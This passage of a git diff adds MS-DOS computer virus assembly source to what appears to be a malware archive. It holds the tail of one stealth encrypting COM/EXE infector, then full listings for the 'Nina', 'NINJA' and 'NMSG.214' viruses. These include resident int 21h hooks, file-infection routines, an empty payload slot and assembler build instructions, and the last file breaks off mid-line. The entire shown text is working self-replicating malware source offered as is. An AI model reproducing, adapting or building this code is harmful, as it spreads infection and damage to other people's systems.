dir_stealth_done + + push ax bx es + mov ah,2Fh + int 21h + + cmp byte ptr es:[bx],-1 ; check for extended FCB + jne no_ext_FCB + add bx,7 +no_ext_FCB: + mov ax,es:[bx + 17h] ; check for infection marker + and al,31 + cmp al,STAMP + jne dir_fixed + + sub word ptr es:[bx + 1Dh],VIRUS_SIZE + 3 + sbb word ptr es:[bx + 1Fh],0 +dir_fixed: + pop es bx ax +dir_stealth_done: + iret + +dir_stealth_2: + pushf + call dword ptr cs:[old_int_21] + jc dir_stealth_done_2 + +check_infect2: + push ax bx es + + mov ah,2Fh + int 21h + mov ax,es:[bx + 16h] + and al,31 ; check timestamp + cmp al,STAMP + jne fixed_2 + + sub es:[bx + 1Ah],VIRUS_SIZE + 3 + sbb word ptr es:[bx + 1Ch],0 + +fixed_2: + pop es bx ax + clc ; clear carry +dir_stealth_done_2: + retf 2 + +file_open: + push ax cx di es + call get_extension + cmp [di],'OC' ; .COM file? + jne perhaps_exe ; perhaps .EXE then + cmp byte ptr [di + 2],'M' + jne not_prog + jmp a_program +perhaps_exe: + cmp [di],'XE' ; .EXE file? + jne not_prog + cmp byte ptr [di + 2],'E' + jne not_prog +a_program: + pop es di cx ax + jmp execute ; infect file +not_prog: + pop es di cx ax + jmp int_21_exit + +execute: + push ax bx cx dx si di ds es + + call get_extension ; check filename + cmp es:[di - 3],'DN' ; skip if COMMAND + jne open_file + jmp cant_open + +open_file: + xor ax,ax ; critical error handler + mov es,ax ; routine - catch int 24 + mov es:[24h * 4],offset int_24 + mov es:[24h * 4 + 2],cs + + mov ax,4300h ; change attributes + int 21h + + push cx dx ds + xor cx,cx + call set_attributes + + mov ax,3D02h ; open file + call int_21 + jc cant_open + xchg bx,ax + + push cs ; CS = DS + pop ds + + mov ax,5700h ; save file date/time + int 21h + push cx dx + mov ah,3Fh + mov cx,28 + mov dx,offset read_buffer + int 21h + + cmp word ptr read_buffer,'ZM' ; .EXE? + je infect_exe ; yes, infect as .EXE + + mov al,2 ; move to end of file + call move_file_ptr + + cmp dx,65279 - (VIRUS_SIZE + 3) + ja dont_infect ; too big, don't infect + + sub dx,VIRUS_SIZE + 3 ; check for previous infection + cmp dx,word ptr read_buffer + 1 + je dont_infect + + add dx,VIRUS_SIZE + 3 + mov word ptr new_jump + 1,dx + + add dx,103h + call encrypt_code ; encrypt virus + + mov dx,offset read_buffer ; save original program head + int 21h + + mov ah,40h ; write virus to file + mov cx,VIRUS_SIZE + mov dx,offset encrypt_buffer + int 21h + + xor al,al ; back to beginning of file + call move_file_ptr + + mov dx,offset new_jump ; and write new jump + int 21h + +fix_date_time: + pop dx cx + and cl,-32 ; add time stamp + or cl,STAMP + mov ax,5701h ; restore file date/time + int 21h + +close: + pop ds dx cx ; restore attributes + call set_attributes + + mov ah,3Eh ; close file + int 21h + +cant_open: + pop es ds di si dx cx bx ax + jmp int_21_exit ; leave + + +set_attributes: + mov ax,4301h + int 21h + ret + +dont_infect: + pop cx dx ; can't infect, skip + jmp close + +move_file_ptr: + mov ah,42h ; move file pointer + cwd + xor cx,cx + int 21h + + mov dx,ax ; set up registers + mov ah,40h + mov cx,3 + ret +infect_exe: + cmp word ptr read_buffer[26],0 + jne dont_infect ; overlay, don't infect + + cmp word ptr read_buffer[16],MARKER + je dont_infect ; infected already + + les ax,dword ptr read_buffer[20] + mov exe_cs,es ; CS + mov exe_ip,ax ; IP + + les ax,dword ptr read_buffer[14] + mov exe_ss,ax ; SS + mov exe_sp,es ; SP + mov word ptr read_buffer[16],MARKER + + mov ax,4202h ; to end of file + cwd + xor cx,cx + int 21h + + push ax dx ; save file size + + push bx + mov cl,12 ; calculate offsets for CS + shl dx,cl ; and IP + mov bx,ax + mov cl,4 + shr bx,cl + add dx,bx + and ax,15 + pop bx + + sub dx,word ptr read_buffer[8] + mov word ptr read_buffer[22],dx + mov word ptr read_buffer[20],ax + add dx,100 + mov word ptr read_buffer[14],dx + + pop dx ax ; calculate prog size + + add ax,VIRUS_SIZE + 3 + adc dx,0 + mov cx,512 ; in pages + div cx ; then save results + inc ax + mov word ptr read_buffer[2],dx + mov word ptr read_buffer[4],ax + mov dx,word ptr read_buffer[20] + call encrypt_code ; encrypt virus + + + mov ah,40h + mov cx,VIRUS_SIZE + 3 + mov dx,offset encrypt_buffer + int 21h + + + mov ax,4200h ; back to beginning + cwd + xor cx,cx + int 21h + + mov ah,40h ; and fix up header + mov cx,28 + mov dx,offset read_buffer + int 21h + jmp fix_date_time ; done + +courtesy_of db '[BW]',0 +signature db '[Nihilist]',0 + + +activate: + ; Insert your routine here + ret +get_extension: + push ds ; find extension + pop es + mov di,dx + mov cx,64 + mov al,'.' + repnz scasb + ret + +encrypt_code: + push ax cx + + push dx + xor ah,ah ; get time for random number + int 1Ah + + mov cipher,dx ; save encryption key + pop cx + add cx,virus_code - virus_begin + mov code_offset,cx ; save code offset + + push cs ; ES = CS + pop es + + mov si,offset virus_begin ; move decryption module + mov di,offset encrypt_buffer + mov cx,virus_code - virus_begin + rep movsb + + mov cx,VIRUS_SIZE / 2 + 1 +encrypt: + lodsw ; encrypt virus code + xor ax,dx + stosw + loop encrypt + + pop cx ax + ret + +int_24: + mov al,3 ; int 24 handler + iret +new_jump db 0E9h,0,0 + +virus_end: +VIRUS_SIZE equ virus_end - virus_begin +read_buffer db 28 dup (?) ; read buffer +encrypt_buffer db VIRUS_SIZE dup (?) ; encryption buffer + +end_heap: + +MEM_SIZE equ end_heap - start + +code ends + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.nina.asm b/MSDOS/Virus.MSDOS.Unknown.nina.asm new file mode 100644 index 00000000..fd3e83c3 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.nina.asm @@ -0,0 +1,154 @@ +.model tiny +.code +org 100h +; Disassembly done by Dark Angel of Phalcon/Skism +; for 40Hex Number 9, Volume 2 Issue 5 +start: + push ax + mov ax,9753h ; installation check + int 21h + mov ax,ds + dec ax + mov ds,ax ; ds->program MCB + mov ax,ds:[3] ; get size word + push bx + push es + sub ax,40h ; reserve 40h paragraphs + mov bx,ax + mov ah,4Ah ; Shrink memory allocation + int 21h + + mov ah,48h ; Allocate 3Fh paragraphs + mov bx,3Fh ; for the virus + int 21h + + mov es,ax ; copy virus to high + xor di,di ; memory + mov si,offset start + 10h ; start at MCB:110h + mov cx,100h ; (same as PSP:100h) + rep movsb + sub ax,10h ; adjust offset as if it + push ax ; originated at 100h + mov ax,offset highentry + push ax + retf + +endfile dw 100h ; size of infected COM file + +highentry: + mov byte ptr cs:[0F2h],0AAh ; change MCB's owner so the + ; memory isn't freed when the + ; program terminates + mov ax,3521h ; get int 21h vector + int 21h + + mov word ptr cs:oldint21,bx ; save it + mov word ptr cs:oldint21+2,es + push es + pop ds + mov dx,bx + mov ax,2591h ; redirect int 91h to int 21h + int 21h + + push cs + pop ds + mov dx,offset int21 + mov al,21h ; set int 21h to virus vector + int 21h + + pop ds ; ds->original program PSP + pop bx + push ds + pop es +return_COM: + mov di,100h ; restore original + mov si,endfile ; file + add si,di ; adjust for COM starting + mov cx,100h ; offset + rep movsb + pop ax + push ds ; jmp back to original + mov bp,100h ; file (PSP:100) + push bp + retf +exit_install: + pop ax ; pop CS:IP and flags in + pop ax ; order to balance the + pop ax ; stack and then exit the + jmp short return_COM ; infected COM file +int21: + cmp ax,9753h ; installation check? + je exit_install + cmp ax,4B00h ; execute? + jne exitint21 ; nope, quit + push ax ; save registers + push bx + push cx + push dx + push ds + call infect + pop ds ; restore registers + pop dx + pop cx + pop bx + pop ax +exitint21: + db 0eah ; jmp far ptr +oldint21 dd ? + +infect: + mov ax,3D02h ; open file read/write + int 91h + jc exit_infect + mov bx,ax + mov cx,100h + push cs + pop ds + mov ah,3Fh ; Read first 100h bytes + mov dx,offset endvirus + int 91h + mov ax,word ptr endvirus + cmp ax,'MZ' ; exit if EXE + je close_exit_infect + cmp ax,'ZM' ; exit if EXE + je close_exit_infect + cmp word ptr endvirus+2,9753h ; exit if already + je close_exit_infect ; infected + mov al,2 ; go to end of file + call move_file_pointer + cmp ax,0FEB0h ; exit if too large + ja close_exit_infect + cmp ax,1F4h ; or too small for + jb close_exit_infect ; infection + mov endfile,ax ; save file size + call write + mov al,0 ; go to start of file + call move_file_pointer + mov dx,100h ; write virus + call write +close_exit_infect: + mov ah,3Eh ; Close file + int 91h +exit_infect: + retn + +move_file_pointer: + push dx + xor cx,cx + xor dx,dx + mov ah,42h + int 91h + pop dx + retn + +write: + mov ah,40h + mov cx,100h + int 91h + retn + + db ' Nina ' +endvirus: + int 20h ; original COM file + + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.ninja_1.asm b/MSDOS/Virus.MSDOS.Unknown.ninja_1.asm new file mode 100644 index 00000000..b3f7bada --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.ninja_1.asm @@ -0,0 +1,530 @@ +;NINJA virus v1.1 _sandoz_ + +;I dont believe that NINJA scans, it was developed from Soviet block virus +;code that was aquired late in 1988. For this reason some features are missing +;such as original encryption, which really wont be missed. However some features +;are rather unique. used were System Violator's Virus Mutator and some luck. +;an oldie but interesting. + +cseg segment + + assume cs:cseg, ds:cseg, es:cseg, ss:cseg + org 100h + +l_0100: mov bx,offset l_0146 ;0100.BB 0146 + jmp bx ;Register jump ;0103 FF E3 + +;-------victim code---------------------------------------------- +; ... + org 0146h + +;=======virus code begin========================================= +; in resident virus this code begins at 9000h:0A000h +;---------------------------------------------------------------- +l_0146: push ds ;<- Entry into virus ;0146 1E + push es ;0147 06 + push ax ;0148 50 +NOP + push ds ;<-victim code restore ;0149 1E + pop es ;014A 07 + + mov si,bx ;offset wejscia w wirusa;014B 8B F3 + add si,02D3h ;(419)changed code saved;014D.81 C6 02D3 + mov di,0100h ;changed code address ;0151.BF 0100 + mov cx,5 ;length of change ;0154 B9 0005 + rep movsb ;0157 F3/ A4 + push ds ;0159 1E + + xor ax,ax ;<- get int 8 ;015A 31 C0 + push ax ;015C 50 + + pop ds ;015D 1F + mov si,20h ;int 8h ;015E.BE 0020 + mov di,bx ;0161 8B FB + add di,0E6h ;(022Ch)=old int 8 ;0163.81 C7 00E6 + mov cx,4 ;0167 B9 0004 + rep movsb ;016A F3/ A4 + mov ax,bx ;016C 8B C3 + add ax,57h ;(019Dh)=continuat. adr.;016E 05 0057 + call s_0193 ;0171 E8 001F + + pop ds ;0174 1F +l_0175: jmp short l_0175 ;int 8 waiting loop ;0175 EB FE + +;<----- return after int 8 service------------------------------- +l_0177: cli ;<- int 8 vector restore;0177 FA + xor ax,ax ;0178 31 C0 + mov es,ax ;017A 8E C0 + mov di,0020h ;017C.BF 20 00 + mov si,bx ;017F 8B F3 + + add si,0E9h ;(022Ch) ;0181.81 C6 E6 00 + mov cx,4 ;0185 B9 04 00 + repz movsb ;0188 F3 / A4 + sti ;018A FB +NOP + pop ax ;<- run victim programm ;018B 58 + pop es ;018C 07 + pop ds ;018D 1F + mov bx,0100h ;execution begin address;018E.BB 00 01 + + jmp bx ;0191 FF E3 + + +;<----- "get int 8" routine ------------------------------------- +s_0193 proc near + cli ; Disable interrupts ;0193 FA + mov ds:[20h],ax ;0194 A3 0020 + mov ds:[22h],es ;0197 8C 06 0022 + sti ; Enable interrupts ;019B FB + + retn ;019C C3 +s_0193 endp + +;<----- code executed after interrupt int 8---------------------- +l_019D: pushf ;019D 9C + push ax ;019E 50 + push bx ;019F 53 + push cx ;01A0 51 + push dx ;01A1 52 + + push si ;01A2 56 + push di ;01A3 57 + push es ;01A4 06 + push ds ;01A5 1E + push bp ;01A6 55 + + mov bp,sp ;01A7 8B EC + mov ax,bx ;base to virus code ;01A9 8B C3 + add ax,2Fh ;(175h) ;01AB 05 002F + + cmp ss:[bp+14h],ax ;interrupted code CS seg;01AE 36 39 46 14 + jnz l_0220 ;-> we must wait again ;01B2 75 6C + +l_01B4: add word ptr ss:[BP+14],3 ;chng ret addr to l_0177;01B4 36 83 46 14 03 + + ;<- restore int 8 vector + push ds ;02B9 1E + xor ax,ax ;01BA 31 C0 + push ax ;01BC 50 + + POP DS ;01BD 1F + CLI ;01BE FA + MOV AX,cs:[BX+00E6h] ;(022Ch) old int 8 vect ;01BF 2E 8B 87 E6 00 + MOV ds:[20h],AX ;01C4 A3 20 00 + MOV AX,cs:[BX+00E8h] ;01C7 2E 8B 87 E8 00 + MOV ds:[22h],AX ;01CC A3 22 00 + POP DS ;01CF 1F + + MOV AX,9000h ;memory last 64KB ;01D0 B8 00 90 + + MOV ES,AX ;01D3 8E C0 + MOV SI,BX ;virus code begin ;01D5 8B F3 + MOV DI,0A000h ;the last 24KB of mem ;01D7 BF 00 A0 + MOV AL,es:[DI] ;01DA 26 8A 05 + CMP AL,1Eh ;allready installed ? ;01DD 3C 1E + JZ l_0220 ;-> yes, end of job ;01DF 74 3F + MOV CX,02FBh ;virus code length ;01E1 B9 FB 02 + REPZ MOVSB ;copy virus code ;01E4 F3 / A4 + ;<- Make link to DOS + + CALL s_0230 ;first DOS version ;01E6 E8 47 00 + JZ l_0220 ;-> O.K. ;01E9 74 35 + CALL s_027D ;Second DOS version ;01EB E8 8F 00 + JZ l_0220 ;-> O.K. ;01EE 74 30 + CALL s_02CA ;third DOS version ;01F0 E8 D7 00 + JZ l_0220 ;-> O.K. ;01F3 74 2B + + ;<- Unknown DOS version, BRUTE installation + MOV AX,9000h ;01F5 B8 00 90 + + PUSH AX ;01F8 50 + POP ES ;01F9 07 + XOR AX,AX ;01FA 31 C0 + PUSH AX ;01FC 50 + POP DS ;01FD 1F + MOV AX,ds:[84h] ;01FE A1 84 00 + MOV es:[0A1DFh],AX ;(0325) ;0201 26 A3 DF A1 + MOV es:[0A2CEh],AX ;(0414) ;0205 26 A3 CE A2 + MOV AX,ds:[86h] ;0209 A1 86 00 + + MOV es:[0A1E1h],AX ;(0327) ;020C 26 A3 E1 A1 + MOV es:[0A2D0h],AX ;(0416) ;0210 26 A3 D0 A2 + MOV AX,0A1D1h ;(0317) new int 21h hndl;0214 B8 D1 A1 + MOV ds:[84h],AX ;int 21h ;0217 A3 84 00 + MOV AX,9000h ;resident virus segment ;021A B8 00 90 + MOV ds:[86h],AX ;021D A3 86 00 + +l_0220: pop bp ;0220 5D + pop ds ;0221 1F + + pop es ;0221 07 + pop di ;0222 5F + pop si ;0223 5E + pop dx ;0224 5A + pop cx ;0226 59 + pop bx ;0227 5B + pop ax ;0228 58 + popf ;0229 9D + sti ;022A FB + + db 0EAh ;022B EA +r_00E6 db 0ABh,00h,0C2h,0Bh ;022C AB 00 C2 0B +; jmp 0BC2:00AB ;-> oryginal int 8 + + +;================================================================ +; Make link to DOS - first DOS version +;---------------------------------------------------------------- +s_0230: PUSH DS ;0230 1E + + PUSH ES ;0231 06 + XOR AX,AX ;<- check possibility ;0232 31 C0 + PUSH AX ;0234 50 + POP DS ;0235 1F + MOV AX,ds:[86h] ;oryginal int 21h seg ;0236 A1 86 00 + PUSH AX ;0239 50 + POP DS ;023A 1F + MOV BX,0100h ;023B BB 00 01 + CMP BYTE PTR [BX],0E9h ;023E 80 3F E9 + + JNZ l_027A ;-> unknown system ;0241 75 37 + INC BX ;0243 43 + CMP BYTE PTR [BX],53h ;0244 80 3F 53 + JNZ l_027A ;-> unknown system ;0247 75 31 + INC BX ;0249 43 + CMP BYTE PTR [BX],22h ;024A 80 3F 22 + JNZ l_027A ;-> unknown system ;024D 75 2B + + ;<- make link to DOS + + MOV AX,9000h ;024F B8 00 90 + MOV ES,AX ;0252 8E C0 + + MOV SI,1223h ;0254 BE 23 12 + MOV DI,0A2CEh ;(0414) ;0257 BF CE A2 + MOV CX,4 ;025A B9 04 00 + REPZ MOVSB ;025D F3 / A4 + + MOV SI,1223h ;025F BE 23 12 + + MOV DI,0A1DFh ;(0325) ;0262 BF DF A1 + MOV CX,4 ;0265 B9 04 00 + REPZ MOVSB ;0268 F3 / A4 + + MOV AX,0A1D1h ;(0317)=new int 21h hndl;026A B8 D1 A1 + MOV ds:[1223h],AX ;026D A3 23 12 + MOV AX,9000h ;0270 B8 00 90 + MOV ds:[1225h],AX ;0273 A3 25 12 + + + XOR AX,AX ;0276 31 C0 + CMP AL,AH ;0278 38 E0 + +l_027A: pop es ;027A 07 + pop ds ;027B 1F + retn ;027C C3 + +;================================================================ +; Make link to DOS - second DOS version + +;---------------------------------------------------------------- +s_027D: push ds ;027D 1E + push es ;027E 06 + xor ax,ax ;<- check possibility ;027F 31 C0 + push ax ;0281 50 + pop ds ;0282 1F + mov ax,ds:[86h] ;oryginal int 21h seg ;0283 A1 0086 + push ax ;0286 50 + pop ds ;0287 1F + + mov bx,0100h ;0288 .BB 0100 + cmp byte ptr [bx],0E9h ;028B 80 3F E9 + jne l_02C7 ;-> unknown system ;028E 75 37 + inc bx ;0290 43 + cmp byte ptr [bx],0CAh ;0291 80 3F CA + jne l_02C7 ;-> unknown system ;0294 75 31 + inc bx ;0296 43 + cmp byte ptr [bx],13h ;0297 80 3F 13 + jne l_02C7 ;-> unknown system ;029A 75 2B + + + ;<- make link to DOS + mov ax,9000h ;029C B8 9000 + mov es,ax ;029F 8E C0 + mov si,011Dh ;02A1 .BE 011D + mov di,0A2CEh ;(0414) ;02A4 .BF A2CE + mov cx,4 ;02A7 B9 0004 + rep movsb ;02AA F3/ A4 + mov si,011Dh ;02AC .BE 011D + + mov di,0A1DFh ;(0325) ;02AF .BF A1DF + mov cx,4 ;02B2 B9 0004 + rep movsb ;02B5 F3/ A4 + + mov ax,0A1D1h ;(0317)=new int 21h hndl;02B7 B8 A1D1 + mov ds:[011Dh],ax ;02BA A3 011D + mov ax,9000h ;02BD B8 9000 + mov ds:[011Fh],ax ;02C0 A3 011F + + + xor ax,ax ;02C3 31 C0 + cmp al,ah ;02C5 38 E0 + +l_02C7: pop es ;02C7 07 + pop ds ;02C8 1F + retn ;02C9 C3 + +;=============================================================== +; Make link to DOS - third DOS version + +;--------------------------------------------------------------- +s_02CA: push ds ;02CA 1E + push es ;02CB 06 + xor ax,ax ;<- check possibility ;02CC 31 C0 + push ax ;02CE 50 + pop ds ;02CF 1F + mov ax,ds:[86h] ;oryginal int 21h seg ;02D0 A1 0086 + push ax ;02D3 50 + pop ds ;02D4 1F + + mov bx,100h ;02D5 .BB 0100 + cmp byte ptr [bx],0E9h ;02D8 80 3F E9 + jne l_0314 ;-> unknown system ;02DB 75 37 + inc bx ;02DD 43 + cmp byte ptr [bx],15h ;02DE 80 3F 15 + jne l_0314 ;-> unknown system ;02E1 75 31 + inc bx ;02E3 43 + cmp byte ptr [bx],5 ;02E4 80 3F 05 + jne l_0314 ;-> unknown system ;02E7 75 2B + + + ;<- make link to DOS + mov ax,9000h ;02E9 B8 9000 + mov es,ax ;02EC 8E C0 + + mov si,0040Fh ;02EE .BE 040F + mov di,0A2CEh ;(0414) ;02F1 .BF A2CE + mov cx,4 ;02F4 B9 0004 + rep movsb ;02F7 F3/ A4 + + + mov si,0040Fh ;02F9 .BE 040F + mov di,0A1DFh ;(0325) ;02FC .BF A1DF + mov cx,4 ;02FF B9 0004 + rep movsb ;0302 F3/ A4 + + mov ax,0A1D1h ;(0317)=new int 21h hndl;0304 B8 A1D1 + mov ds:[040Fh],ax ;0307 A3 040F + mov ax,9000h ;030A B8 9000 + + mov ds:[0411h],ax ;030D A3 0411 + + xor ax,ax ;0310 31 C0 + cmp al,ah ;0312 38 E0 + +l_0314: pop es ;0314 07 + pop ds ;0315 1F + retn ;0316 C3 + + +;========================================================================== +; New int 21h handling subroutine +;-------------------------------------------------------------------------- +T_A1D1: cmp ah,3Dh ;open file ? ;0317 80 FC 3D + je l_0321 ;-> Yes ;031A 74 05 + cmp ah,4Bh ;load&execute/load ovl ?;031C 80 FC 4B + jne l_0324 ;-> No ;031F 75 03 +l_0321: call s_0329 ;-> infect file ;0321 E8 0005 + + +l_0324: db 0EAh ;<- oryginal int 21h ;0324 EA +d_A1DF dw 1460h,0273h ;old int 21h ;0325 60 14 73 02 +; jmp far ptr 0273:1460 + +;========================================================================== +; Infecting subroutine +;-------------------------------------------------------------------------- +s_0329 proc near + push ax ;0329 50 + + push bx ;032A 53 + push cx ;032B 51 + push dx ;032C 52 + push ds ;032D 1E + push di ;032E 57 + push si ;032F 56 + push es ;0330 06 + push ds ;0331 1E + push es ;0332 06 + +NOP + xor ax,ax ;<- get int 24h ;0333 31 C0 + push ax ;0335 50 + pop ds ;0336 1F + push cs ;0337 0E + pop es ;0338 07 + mov si,90h ;int 24h vector ;0339 .BE 0090 + mov di,0A2E0h ;(0426)-old vector safes;033C .BF A2E0 + mov cx,4 ;double word ;033F B9 0004 + + rep movsb ;0342 F3/ A4 + mov ax,0A2C9h ;(040F)=new int 24h ;0344 B8 A2C9 + mov ds:[90h],ax ;0347 A3 0090 + mov ds:[92h],cs ;034A 8C 0E 0092 +NOP + pop es ;034E 07 + pop ds ;034F 1F + mov di,dx ;file path ;0350 8B FA + push ds ;0352 1E + + pop es ;0353 07 + mov cx,40h ;find dot ;0354 B9 0040 + mov al,2Eh ;0357 B0 2E + repne scasb ;0359 F2/ AE + cmp cx,0 ;035B 83 F9 00 + jne l_0363 ;035E 75 03 + jmp l_0406 ;-> no file extension ;0360 E9 00A3 + +l_0363: push cs ;0363 0E + + pop es ;0364 07 + mov si,di ;0365 8B F7 + mov di,0A2DDh ;(0423)='COM' ;0367 .BF A2DD + mov cx,3 ;036A B9 0003 + repe cmpsb ;036D F3/ A6 + cmp cx,0 ;036F 83 F9 00 + je l_0377 ;0372 74 03 + jmp l_0406 ;-> it isn't *.COM ;0374 E9 008F + + + ;<- *.COM file infection +l_0377: mov ax,4300h ;Get file attributes ;0377 B8 4300 + call s_0412 ;int 21h call ;037A E8 0095 + mov ds:[0A2E4h],cx ;(042A) ;037D 89 0E A2E4 + + and cx,0FFFEh ;no R/O ;0381 81 E1 FFFE + mov ax,4301h ;Set file attributes ;0385 B8 4301 + call s_0412 ;int 21h call ;0388 E8 0087 + + + mov ah,3Dh ;Open File ;038B B4 3D + mov al,2 ;R/W access ;038D B0 02 + call s_0412 ;int 21h call ;038F E8 0080 + jc l_0406 ;-> Opening Error ;0392 72 72 + push cs ;0394 0E + pop ds ;0395 1F + mov bx,ax ;file handle ;0396 8B D8 + mov dx,0A2D3h ;(0419) = file buffer ;0398 BA A2D3 + mov cx,5 ;bytes count ;039B B9 0005 + + mov ah,3Fh ;read file ;039E B4 3F + call s_0412 ;int 21h call ;03A0 E8 006F + + mov ah,0BBh ;allready infected ? ;03A3 B4 BB + cmp ah,ds:[0A2D3h] ;(0419) ;03A5 3A 26 A2D3 + je l_03E2 ;-> yes, close file ;03A9 74 37 + xor cx,cx ;03AB 31 C9 + xor dx,dx ;03AD 31 D2 + mov ah,42h ;Move file ptr ;03AF B4 42 + + mov al,2 ;EOF + offset ;03B1 B0 02 + call s_0412 ;int 21h call ;03B3 E8 005C + + cmp ax,0FA00h ;file size =<64000 ;03B6 3D FA00 + ja l_03E2 ;-> above, close file ;03B9 77 27 + add ax,100h ;PSP length ;03BB 05 0100 + mov ds:[0A2D9h],ax ;(041F) - vir.begin addr;03BE A3 A2D9 + mov ah,40h ;Write file ;03C1 B4 40 + mov dx,0A000h ;address of buffer ;03C3 BA A000 + + mov cx,2FBh ;bytes count ;03C6 B9 02FB + call s_0412 ;int 21h call ;03C9 E8 0046 + + xor cx,cx ;03CC 31 C9 + xor dx,dx ;03CE 31 D2 + mov ah,42h ;Move file ptr ;03D0 B4 42 + mov al,0 ;BOF + offset ;03D2 B0 00 + call s_0412 ;int 21h call ;03D4 E8 003B + + + mov ah,40h ;Write file ;03D7 B4 40 + mov dx,0A2D8h ;(041E)=BOF virus code ;03D9 BA A2D8 + mov cx,5 ;code length ;03DC B9 0005 + call s_0412 ;int 21h call ;03DF E8 0030 + +l_03E2: mov ah,3Eh ;close file ;03E2 B4 3E + call s_0412 ;int 21h call ;03E4 E8 002B + + mov cx,ds:[0A2E4h] ;(042A) - old atribute ;03E7 8B 0E A2E4 + + mov ax,4301h ;set file attributes ;03EB B8 4301 + call s_0412 ;int 21h call ;03EE E8 0021 + push ds ;03F1 1E + push es ;03F2 06 + + xor ax,ax ;restore int 24h vector ;03F3 31 C0 + push ax ;03F5 50 + pop es ;03F6 07 + push cs ;03F7 0E + + pop ds ;03F8 1F + mov di,90h ;int 24h vector ;03F9 .BF 0090 + mov si,0A2E0h ;(0426) - old int 24h ;03FC .BE A2E0 + mov cx,4 ;double word ;03FF B9 0004 + rep movsb ;0402 F3/ A4 + pop es ;0404 07 + pop ds ;0405 1F +l_0406: pop es ;<- EXIT ;0406 07 + pop si ;0407 5E + + pop di ;0408 5F + pop ds ;0409 1F + pop dx ;040A 5A + pop cx ;040B 59 + pop bx ;040C 5B + pop ax ;040D 58 + retn ;040E C3 +s_0329 endp + + +;================================================================ +; int 24h handling routine (only infection time) +;---------------------------------------------------------------- +T_A2C9: mov al,0 ;ignore critical error ;040F B0 00 + iret ;0411 CF + +;================================================================ +; hidden int 21h call +;---------------------------------------------------------------- + +s_0412 proc near + pushf ;0412 9C + db 9Ah ;0413 9A +d_A2CE dw 1460h,0273h ;old int 21h ;0414 60 14 73 02 + ;call far ptr 0273:1460 + retn ;0418 C3 +s_0412 endp + +;<----- oryginal BOF code +d_A2D3 db 31h,0Dh,0Ah,32h,0Dh ;0419 31 0D 0A 32 0D + +;<----- wirus BOF code +d_A2D8 db 0BBh ;041E BB +d_A2D9 dw 0146h ;virus begin address ;041F 46 01 + dw 0E3FFh ;0421 FF E3 + +;<----- work bytes +d_A2DD db 'COM' ;file extension pattern ;0423 43 4F 4D +d_A2E0 dw 0556h,1232h ;old int 24h vector ;0426 56 05 32 12 +d_A2E4 dw 0 ;file attributes ;042A 00 00 + +;<----- just my way of sayin' howdy + db '-=NINJA=- ' ;042C 50 43 2D 46 4C 55 + ; 20 62 79 20 57 49 + ; 5A 41 52 44 20 31 + ; 39 39 31 +cseg ends + + end l_0100 + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.nmsg_214.asm b/MSDOS/Virus.MSDOS.Unknown.nmsg_214.asm new file mode 100644 index 00000000..dc3b1154 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.nmsg_214.asm @@ -0,0 +1,174 @@ +comment * + NMSG.214 ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ + Disassembly by ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ + Darkman/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ + ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ + ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ + + NMSG.214 is a runtime/direct action cavity EXE virus. Infects one file in + current directory, by searching for an area of Microsoft C error messages + and overwriting that area with the virus. + + I would like to thank VirusBuster/29A for providing me with the binary of + this virus. + + To compile NMSG.214 with Turbo Assembler v 5.0 type: + TASM /M NMSG_214.ASM + TLINK /x NMSG_214.OBJ +* + +.model tiny +.code +.186 + +code_begin: + call delta_offset +virus_begin: +initial_csip: +initial_ip dw 00h ; Initial IP +initial_cs dw 0fff0h ; Initial CS relative to start of ... +file_specifi db '*.exe',00h ; File specification +string_begin: +scan_string db '<>' +string_end: +delta_offset: + pop bp ; Load BP from stack + + push ds es ; Save segments at stack + + mov ax,ss ; AX = stack segment + add ah,10h ; AX = segment of buffer + + mov bx,ds:[02h] ; BX = segment of first byte beyon... + sub bx,ax ; Subtract stack segment from segm... + cmp bh,10h ; Insufficient memory? + jb virus_exit ; Below? Jump to virus_exit + + mov es,ax ; ES = segment of buffer + xor dx,dx ; DX = offset of Disk Transfer Ar... + + + push ss ; Save SS at stack + pop ds ; Load DS from stack (SS) + + mov ah,1ah ; Set Disk Transfer Area address + int 21h + + mov ah,4eh ; Find first matching file (DTA) + xor cx,cx ; CX = file attribute mask + lea dx,[bp+(file_specifi-virus_begin)] + + push cs ; Save CS at stack + pop ds ; Load DS from stack (CS) + + int 21h + jc virus_exit ; Error? Jump to virus_exit +examine_file: + mov ax,ss:[1ch] ; AX = high-order word of file size + or ax,ax ; Filesize too large? + jnz find_next ; Not zero? Jump to find_next + + clc ; Clear carry flag + call read_file + jc find_next ; Error? Jump to find_next + shl word ptr ds:[0ch],01h + jp find_next ; Too much addition... Jump to find_next + + cld ; Clear direction flag + lea si,[bp+(scan_string-virus_begin)] + xor di,di ; Zero DI + + push cs ; Save CS at stack + pop ds ; Load DS from stack (CS) +compare_loop: + pusha ; Save all registers at stack + mov cx,(string_end-string_begin) + rep cmpsb ; Microsoft C error messages? + popa ; Load all registers from stack + je infect_file ; Equal? Jump to infect_file + + inc di ; Increase index register + + loop compare_loop +find_next: + mov ah,4fh ; Find next matching file (DTA) + int 21h + jnc examine_file ; No error? Jump to examine_file + + int 17h +virus_exit: + pop es ds ; Load segments from stack + + mov dx, 80h ; DX = offset of default Disk tran... + mov ah,1ah ; Set Disk Transfer Area address + int 21h + + mov ax,cs ; AX = code segment + add cs:[bp+(initial_cs-virus_begin)],ax + jmp dword ptr cs:[bp+(initial_csip-virus_begin)] +infect_file: + mov bx,di ; BX = offset of virus within file + lea si,[bp+(code_begin-virus_begin)] + mov cx,(code_end-code_begin) + rep movsb ; Move virus to Microsoft C error ... + + push es ; Save ES at stack + pop ds ; Load DS from stack (ES) + + mov si,14h ; SI = offset of initial IP + lea di,[bx+(initial_csip-code_begin)] + push si ; Save SI at stack + movsw ; Store initial IP + movsw ; Store initial CS relative to sta... + pop si ; Load SI from stack + + mov [si+02h],cx ; Store initial CS relative to sta... + mov 